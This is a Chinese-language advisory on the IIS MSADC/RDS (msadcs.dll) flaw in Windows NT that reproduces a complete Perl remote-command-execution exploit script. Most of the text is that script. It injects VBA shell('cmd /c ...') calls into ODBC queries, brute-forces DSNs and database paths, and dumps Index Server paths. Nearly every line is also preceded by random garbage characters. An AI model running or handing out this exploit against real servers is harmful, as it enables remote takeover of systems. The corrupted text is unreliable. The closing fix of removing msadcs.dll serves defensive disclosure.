IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
28,HZaXhc ) nn v{hN 涉及程序：
}Tk*?tYt Microsoft NT server
+Kg3qS" e]d\S] 5 描述：
k*T&>$k}^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"CT`]:GGK qQ<7+z<4KP 详细：
]n|lHZR 如果你没有时间读详细内容的话，就删除:
,6\oT;G c:\Program Files\Common Files\System\Msadc\msadcs.dll
y{qKb:~wv 有关的安全问题就没有了。
qB=%8$J N EM C 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
$5yH8JU D|5Fo'O^AV 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
k$K>ml/h 关于利用ODBC远程漏洞的描述，请参看:
YcuHYf5 k{C|{m http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )0@&pEObm ^$\#aTyFK 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
{[FJkP2l http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8F`799[p R 9Y k9v 这里不再论述。
yCye3 z. \E:l
E/y 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2W`<P2IA {&Sr<d5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q%RI;;YyA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\M-$| 04Qt LfS]m>>e =Cr
F(wVO" #将下面这段保存为txt文件，然后: "perl -x 文件名"
wo!;Bxo
N yNmzRH u #!perl
vn=0=( #
@$ d_JwI
# MSADC/RDS 'usage' (aka exploit) script
X1~ B #
a{8g9a4 # by rain.forest.puppy
{nmBI k2v #
x\XOtjJr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lF1ieg"i M # beta test and find errors!
0f|nI8,z ig,v6lqhM use Socket; use Getopt::Std;
$t$YdleI H getopts("e:vd:h:XR", \%args);
xYWg1e$k E./Gt.Na print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
J"RmV@| \rf2O s if (!defined $args{h} && !defined $args{R}) {
C")NN s = print qq~
yE),GJ-m\< Usage: msadc.pl -h <host> { -d <delay> -X -v }
Q" an6ht| -h <host> = host you want to scan (ip or domain)
l 7=WO#Pb -d <seconds> = delay between calls, default 1 second
5oI gxy -X = dump Index Server path table, if available
HvVS<Ke -v = verbose
9 l9|w4YJs -e = external dictionary file for step 5
z}m) u Ni 5Su Or a -R will resume a command session
L%O(
I oT27BK26?h ~; exit;}
S~LT Lv:> #AUz.WHD $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~/kx if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-J =N if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
vy330SQP o if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
QZ51}i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
q!zsGf { if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-{XXU )Z ' f m}&0 if (!defined $args{R}){ $ret = &has_msadc;
Syj7K*,%bZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
14v,z;HXj YV0K &d print "Please type the NT commandline you want to run (cmd /c assumed):\n"
pI|H9 . "cmd /c ";
BWN[>H %S $in=<STDIN>; chomp $in;
S7
Tem:/ $command="cmd /c " . $in ;
(Q09$ FO5'<G- if (defined $args{R}) {&load; exit;}
!EQMTF= ( +b]+5 ! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<+c6CM$#}V &try_btcustmr;
7&z`N^dz{ B}y-zj; T print "\nStep 2: Trying to make our own DSN...";
9>"T o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
kdry a f#9\&-h e0 print "\nStep 3: Trying known DSNs...";
5 #U*vGVT &known_dsn;
lE?F Wt ,HQaS9vBQ print "\nStep 4: Trying known .mdbs...";
c);(+b &known_mdb;
& t\KKsUtd {r!X W if (defined $args{e}){
B K1Aq3*) print "\nStep 5: Trying dictionary of DSN names...";
D 4\T`j: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
i`1QR@11 G6b\4}E print "Sorry Charley...maybe next time?\n";
<v)Ai;l, exit;
!mX 2 _ADK8a6%) ##############################################################################
pPdOw K# ~\z\f} w sub sendraw { # ripped and modded from whisker
LAwl9YnG: sleep($delay); # it's a DoS on the server! At least on mine...
"3i=kvdz my ($pstr)=@_;
S?5z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g2<xr;<t^ die("Socket problems\n");
Px)/`'D if(connect(S,pack "SnA4x8",2,80,$target)){
v&EHp{8Qd select(S); $|=1;
3Yd)Fm print $pstr; my @in=<S>;
H +>l][ select(STDOUT); close(S);
? N|B, F return @in;
i }5
#n } else { die("Can't connect...\n"); }}
f}'E|:Z 7k @edi6b1W ##############################################################################
:h&*<!O2B` {]}}rx'|P sub make_header { # make the HTTP request
l%^'K%'b my $msadc=<<EOT
:hp=>^$Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/L1qdkG User-Agent: ACTIVEDATA
WBA0!
g98 Host: $ip
F:CqB| Content-Length: $clen
dB`YvKr# Connection: Keep-Alive
P==rY5+s` ;,y9 ADCClientVersion:01.06
zA![c l>$ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
EnrRnVB RJ%~=D --!ADM!ROX!YOUR!WORLD!
5UwaBPj4 Content-Type: application/x-varg
By 8C-jD Content-Length: $reqlen
^L; `F (,E.1j]ji EOT
LV& tu7c ; $msadc=~s/\n/\r\n/g;
.jh uC#x{/ return $msadc;}
#GYCU! PT|W{RlNl ##############################################################################
$zTjh~ 9 L`ZH.fN sub make_req { # make the RDS request
wL2d.$?TEg my ($switch, $p1, $p2)=@_;
W)F2X0D > my $req=""; my $t1, $t2, $query, $dsn;
V l!Z|}z ~mtL\!vaM if ($switch==1){ # this is the btcustmr.mdb query
L44-: 3 $query="Select * from Customers where City=" . make_shell();
a <[@p $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<8Qa"<4f; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_AQ :<0/# :CN,I!: elsif ($switch==2){ # this is general make table query
AG#5_0]P~ $query="create table AZZ (B int, C varchar(10))";
=S-'*F $dsn="$p1";}
5vL]Y)l oU m"qt_ elsif ($switch==3){ # this is general exploit table query
i8nC TW $query="select * from AZZ where C=" . make_shell();
\)ac,i@fy $dsn="$p1";}
?Ee HeN_ `?Wak =]g elsif ($switch==4){ # attempt to hork file info from index server
NwmO [pt+ $query="select path from scope()";
V&DS+'P $dsn="Provider=MSIDXS;";}
' hL\xf{ p3*}! ez4 elsif ($switch==5){ # bad query
gJ>?< F; $query="select";
O1@xF9< $dsn="$p1";}
X+{4,?04+ 3_IuK 6K2 $t1= make_unicode($query);
}@V(y 9K $t2= make_unicode($dsn);
#`/KF_a3\> $req = "\x02\x00\x03\x00";
5 isejR{r $req.= "\x08\x00" . pack ("S1", length($t1));
7 [5 5 $req.= "\x00\x00" . $t1 ;
Ku _`F2Q $req.= "\x08\x00" . pack ("S1", length($t2));
77OH.E|$ $req.= "\x00\x00" . $t2 ;
,k/*f+t $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p~28?lYv return $req;}
-lyT8qZ:( 4.7ePbk[E ##############################################################################
pd,5 .d kzGD * sub make_shell { # this makes the shell() statement
fw_V'l#\ return "'|shell(\"$command\")|'";}
`ejE)VL=8h 2_0OSbFv'P ##############################################################################
pHY~_^B4& a[)i n ,3 sub make_unicode { # quick little function to convert to unicode
'u$$scG t my ($in)=@_; my $out;
l? B\TA^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
. #;Z M[v return $out;}
0vUX^< &?*M+q34 ##############################################################################
G LL, = _ 8 sub rdo_success { # checks for RDO return success (this is kludge)
KLs%{'[7: my (@in) = @_; my $base=content_start(@in);
"-vm=d~\ if($in[$base]=~/multipart\/mixed/){
} }Eko7'^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j%b/1@I return 0;}
O GrVy=rd Fp-d69 Npo ##############################################################################
#P- S.b ow
~(k5k: sub make_dsn { # this makes a DSN for us
_ EHr?b2 my @drives=("c","d","e","f");
Y ,B0=} print "\nMaking DSN: ";
,'F;s:WM, foreach $drive (@drives) {
kVQKP U print "$drive: ";
x+"~-KO8q$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!tFs(![ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
vKDRjrF- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Se* GR"Z+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
sW#6B+5_k return 0 if $2 eq "404"; # not found/doesn't exist
W=o90TwbN if($2 eq "200") {
}V?SedsY foreach $line (@results) {
~j mHzF kQ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ld4Qh Zia } return 0;}
I1
j-Q8 R\MM 2_I ##############################################################################
N/Z3 EF_ A--Hg-N| sub verify_exists {
J(h=@cw my ($page)=@_;
9~ <HTH my @results=sendraw("GET $page HTTP/1.0\n\n");
d> `9!) return $results[0];}
?I`']|I kh 1 7 ##############################################################################
~ DVAk|fc g% #"
5Kr sub try_btcustmr {
>tqLwC."' my @drives=("c","d","e","f");
2IqsBK` my @dirs=("winnt","winnt35","winnt351","win","windows");
w:Tz&$&Y$ WtFv"$V foreach $dir (@dirs) {
$Dd IY} print "$dir -> "; # fun status so you can see progress
s<xD$K~rM foreach $drive (@drives) {
W j/.rG&tE print "$drive: "; # ditto
$k V^[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
KDu M; $reqlenlen=length( "$reqlen" );
"N"9PTX $clen= 206 + $reqlenlen + $reqlen;
S-npJh
6 sE-E\+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
<u*~RYA2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'd^U !l else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
X26gl ' U %w,
##############################################################################
EMmNlj6 y1(smZU sub odbc_error {
o ';sHa' my (@in)=@_; my $base;
7:I`
~ @m my $base = content_start(@in);
;-lk#D?n9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
+L!-JrYHS4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\('8 _tqI" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y>{K2#k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
RN'|./N return $in[$base+4].$in[$base+5].$in[$base+6];}
|%g^6RN print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A /,7%bB1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wZ,9~P 7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^vL Hs=< ot]E\g+! ##############################################################################
.KGW#Qk8 / ,f*IdB sub verbose {
DHW;*A- my ($in)=@_;
DT8|2"H return if !$verbose;
KO<Yc`Fs print STDOUT "\n$in\n";}
H ZIJKk( 3lqR(Hh3 ##############################################################################
V{O,O,* .%h. b6^ sub save {
B9/x?Jv1 my ($p1, $p2, $p3, $p4)=@_;
Di<KRg1W]} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*
'WzIk2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X5cl'J(j9 close OUT;}
bBc<yaN >lU[
lf+/ ##############################################################################
4iBp!k7 KY< >S/ sub load {
B@Ez,u5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
29
L~SMf open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7@$Hua,GY @p=<IN>; close(IN);
|Ma"B4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
E5UI $target= inet_aton($ip) || die("inet_aton problems");
Xa.Qt.C print "Resuming to $ip ...";
ji="vs=y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~&[Wqn@MZ if($p[1]==1) {
**d3uc4y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
d,Ct lWp $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
N Q_H-D\, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}xn\.M:ic if (rdo_success(@results)){print "Success!\n";}
"D'A7DA else { print "failed\n"; verbose(odbc_error(@results));}}
K3$83%E elsif ($p[1]==3){
z*. 4Y if(run_query("$p[3]")){
#Sr_PEo
_ print "Success!\n";} else { print "failed\n"; }}
-LJbx<' elsif ($p[1]==4){
I#zrz3WU if(run_query($drvst . "$p[3]")){
TggM/ @k print "Success!\n"; } else { print "failed\n"; }}
IExo#\0'6 exit;}
SEq_37 :D 8V*F6P ##############################################################################
='q: Io?T 2i;G3"\ sub create_table {
8C#R my ($in)=@_;
sWP5=t(i+9 $reqlen=length( make_req(2,$in,"") ) - 28;
Gy
hoo'< $reqlenlen=length( "$reqlen" );
tI|?k(D $clen= 206 + $reqlenlen + $reqlen;
K4YpE}]u my @results=sendraw(make_header() . make_req(2,$in,""));
'due'|#^ return 1 if rdo_success(@results);
Dj'aWyW' my $temp= odbc_error(@results); verbose($temp);
\?{nP6= return 1 if $temp=~/Table 'AZZ' already exists/;
?~$0;5)QC return 0;}
)Ge.1B$8h TYGUB%A ##############################################################################
V.vA~a qv y~b sub known_dsn {
cu5Y vp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"jH=O(37 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
OW- [#r
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1 -r# v "banner", "banners", "ads", "ADCDemo", "ADCTest");
L!Iu\_{q .p NWd foreach $dSn (@dsns) {
Fd*)1FQKT print ".";
$73 7o V< next if (!is_access("DSN=$dSn"));
:^tw!U%y1 if(create_table("DSN=$dSn")){
ce{(5IC print "$dSn successful\n";
m_\w) if(run_query("DSN=$dSn")){
>KmOTM< { print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
97lM*7h; print "Something's borked. Use verbose next time\n";}}} print "\n";}
8Eyi`~cAiH T$5u+4>" ##############################################################################
y Q-&+16^ \ce (/I sub is_access {
`[p*qs p_ my ($in)=@_;
_]a8lr+_- $reqlen=length( make_req(5,$in,"") ) - 28;
;,![Lar5L $reqlenlen=length( "$reqlen" );
T&c0j( $clen= 206 + $reqlenlen + $reqlen;
/L\ ]t my @results=sendraw(make_header() . make_req(5,$in,""));
=T;>$&qs my $temp= odbc_error(@results);
D0 Yl?LU3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
55MrsiW return 0;}
u[q1]] l2QO\O
I9m ##############################################################################
]fvU}4! $_CE!_G&) sub run_query {
=p ,+a/* my ($in)=@_;
rVgz+'rFD[ $reqlen=length( make_req(3,$in,"") ) - 28;
aT1T.3 a $reqlenlen=length( "$reqlen" );
9ot A5I^v $clen= 206 + $reqlenlen + $reqlen;
e6f:@ O? my @results=sendraw(make_header() . make_req(3,$in,""));
~G|un}g= return 1 if rdo_success(@results);
SN+B8*! my $temp= odbc_error(@results); verbose($temp);
bCr) 3, return 0;}
_xT=AF9~o S*-n%D0q5 ##############################################################################
,e{( r0 83~
Gu[ sub known_mdb {
<`,pyvR Kv my @drives=("c","d","e","f","g");
@RGVcfCG) my @dirs=("winnt","winnt35","winnt351","win","windows");
H=Rqr my $dir, $drive, $mdb;
P PSf8-MLW my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9v>BP`Mg g^ZsV:D # this is sparse, because I don't know of many
eYZ{m o7 my @sysmdbs=( "\\catroot\\icatalog.mdb",
hb RDM' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
h fT HP "\\system32\\certmdb.mdb",
~L $B]\/A5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_i{$5JJ+K2 y`O !,kW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}1E'a>^| "\\cfusion\\cfapps\\forums\\forums_.mdb",
P=PcO> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|g<1n "\\cfusion\\cfapps\\security\\realm_.mdb",
} #}IR5`=E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|M]#D 0v "\\cfusion\\database\\cfexamples.mdb",
wv0d"PKTS "\\cfusion\\database\\cfsnippets.mdb",
SFCKD/8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
to{/@^ D "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
eQ _dO]Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
sf )ojq6s "\\cfusion\\database\\smpolicy.mdb",
eAKK uML "\\cfusion\\database\cypress.mdb",
R|aA6} /I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n!=%MgF'*p "\\website\\cgi-win\\dbsample.mdb",
PhF.\W b "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
e FDh J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1cPm $=B ); #these are just
jY>|>]4X foreach $drive (@drives) {
?&$??r^i foreach $dir (@dirs){
V? AHj< foreach $mdb (@sysmdbs) {
>^}nk04 print ".";
!R *%F if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i(R&Q;{E^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q] g'rO' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vJ5` :4n" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+p6cG\Gp } else { print "Something's borked. Use verbose next time\n"; }}}}}
(qd $wv^ h [=M0%" foreach $drive (@drives) {
lg` Qi& foreach $mdb (@mdbs) {
>;V ? s] print ".";
#U45H.Rz if(create_table($drv . $drive . $dir . $mdb)){
@V{s'V print "\n" . $drive . $dir . $mdb . " successful\n";
T d tn- if(run_query($drv . $drive . $dir . $mdb)){
Y@x }b{3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
HDqPqrWm } else { print "Something's borked. Use verbose next time\n"; }}}}
fFP>$ }
T \%{zz_( s`"o-w\$> ##############################################################################
[DrG;k ? Ei!t#'*D< sub hork_idx {
vzD 3_
?D print "\nAttempting to dump Index Server tables...\n";
Q` mw2$zv print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3`sM/BoA $reqlen=length( make_req(4,"","") ) - 28;
F02S (WWo; $reqlenlen=length( "$reqlen" );
b]S4\BBT $clen= 206 + $reqlenlen + $reqlen;
.b]
32Ww my @results=sendraw2(make_header() . make_req(4,"",""));
W+k`^A|@ if (rdo_success(@results)){
w5*?P4P my $max=@results; my $c; my %d;
P<P4*cOV for($c=19; $c<$max; $c++){
Z-(#}(HD $results[$c]=~s/\x00//g;
,Q|[Yr $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]~S ,K}T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}p-<+sFo $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
mXZOkx{ $d{"$1$2"}="";}
@Dc?fyY*o< foreach $c (keys %d){ print "$c\n"; }
\2cbZQx } else {print "Index server doesn't seem to be installed.\n"; }}
jP'.a. ^o$ wI '8B{[ ##############################################################################
:NB|r |lH~nU.* sub dsn_dict {
A*l(0`aWq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
v_Om3i9$E while(<IN>){
+zodkB~) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
K"'W4bO#7 next if (!is_access("DSN=$dSn"));
&8!* u3 if(create_table("DSN=$dSn")){
c%1 <O!c print "$dSn successful\n";
*&p `8: if(run_query("DSN=$dSn")){
zTi %j$o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;)Rvk&J5 print "Something's borked. Use verbose next time\n";}}}
|k5uVhN print "\n"; close(IN);}
d{_tOj$ Oi{X \Y ##############################################################################
y Q\K ; {l&6= z sub sendraw2 { # ripped and modded from whisker
N<wy"N{iS sleep($delay); # it's a DoS on the server! At least on mine...
zt/p' khP3 my ($pstr)=@_;
@91Q=S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#6g-{OBv die("Socket problems\n");
:`BZ,j_ if(connect(S,pack "SnA4x8",2,80,$target)){
b_ 88o-*/ print "Connected. Getting data";
m~s.al(G91 open(OUT,">raw.out"); my @in;
&.k'Dj2hf select(S); $|=1; print $pstr;
|~mq+:44+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I#( D.\P close(OUT); select(STDOUT); close(S); return @in;
yjCY2T E } else { die("Can't connect...\n"); }}
PMr
{BS S-^y;#= ##############################################################################
q^}QwJw |RT#ZMJek sub content_start { # this will take in the server headers
0:-i my (@in)=@_; my $c;
)W^Wqa8mG| for ($c=1;$c<500;$c++) {
,aI 6P- if($in[$c] =~/^\x0d\x0a/){
s=`1 wkh0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
}9T$ XF~ else { return $c+1; }}}
G'c!82;,? return -1;} # it should never get here actually
]p3hq1u3& U85t !U ##############################################################################
NJ8QI(^" 2^ 'X sub funky {
;OW`(j C my (@in)=@_; my $error=odbc_error(@in);
yC. ve;lG if($error=~/ADO could not find the specified provider/){
4xLU15C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3\eb:-B:@ exit;}
iN%\wkx*N if($error=~/A Handler is required/){
x#yL&+'?Mj print "\nServer has custom handler filters (they most likely are patched)\n";
]9z{
95 exit;}
;c7 3:'e if($error=~/specified Handler has denied Access/){
f:L%th print "\nServer has custom handler filters (they most likely are patched)\n";
uiq)?XUKv exit;}}
i|u3 Qt5 .v [8ie ##############################################################################
Te?UQX7Z}M b ;\qF &T sub has_msadc {
eK\ O > my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\ ?['pB my $base=content_start(@results);
cWIX!tc8 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
kQlXcR return 0;}
" dwx;E =]x FHw8A ########################
<rc3&qmd P\bW k p0 <~# ZtD$G 解决方案：
` +]9+:tS 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)_!t9gn*wr 2、移除web 目录: /msadc
